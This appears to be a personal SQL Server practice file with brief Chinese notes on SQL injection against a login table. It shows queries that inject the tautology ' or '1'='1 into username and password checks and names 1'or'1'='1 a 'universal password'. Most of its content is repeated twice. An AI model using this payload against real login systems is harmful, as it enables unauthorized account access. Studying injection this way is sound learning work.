select pwdcompare('123',(select MM from t_login where YHM='admxx'or'1'='1'))
insert t_login values('piracy','xx','xd',pwdencrypt('123'))
select *from t_login
当只有一个用户并且知道密码的时候才可能注入sql
create table logint
(
username nvarchar(20) not null,
userpwd nvarchar(20)not null
)
select *from logint
insert logint values('admin','123')
select userpwd from logint where username='admin'or'1'='1' and userpwd='1'or'1'='1'
只有有值就可以注入
万能密码
1'or'1'='1
insert t_login values('piracy','xx','xd',pwdencrypt('123'))
select *from t_login
当只有一个用户并且知道密码的时候才可能注入sql
create table logint
(
username nvarchar(20) not null,
userpwd nvarchar(20)not null
)
select *from logint
insert logint values('admin','123')
select userpwd from logint where username='admin'or'1'='1' and userpwd='1'or'1'='1'
只有有值就可以注入
万能密码
1'or'1'='1